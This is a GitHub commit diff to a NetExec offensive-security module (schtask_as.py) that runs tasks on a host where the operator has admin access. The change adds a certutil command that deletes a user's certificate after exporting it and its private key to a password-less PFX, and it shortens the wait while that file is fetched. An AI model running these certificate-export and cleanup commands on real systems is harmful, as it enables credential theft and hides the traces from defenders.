Skip to content

Commit 56b74ae

Browse files
committed
remove certificate from user store after PFX export
1 parent b3384a0 commit 56b74ae

1 file changed

Lines changed: 2 additions & 1 deletion

File tree

nxc/modules/schtask_as.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,7 @@ def on_admin_login(self, context, connection):
113113
)
114114
certutil -user -repairstore my !HASH! > nul 2>&1
115115
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
116+
certutil -user -delstore my !HASH! > nul 2>&1
116117
117118
if exist "%BASE%.pfx" (
118119
exit /b 0
@@ -232,7 +233,7 @@ def on_admin_login(self, context, connection):
232233
# Polling loop to wait for the PFX to be ready (avoid fixed sleep)
233234
pfx_fetched = False
234235
last_exception = None
235-
max_wait_seconds = 60
236+
max_wait_seconds = 15
236237
self.logger.debug(f"Waiting up to {max_wait_seconds}s for remote PFX: {pfx_remote_path}")
237238
for second in range(max_wait_seconds):
238239
try:

0 commit comments

Comments
 (0)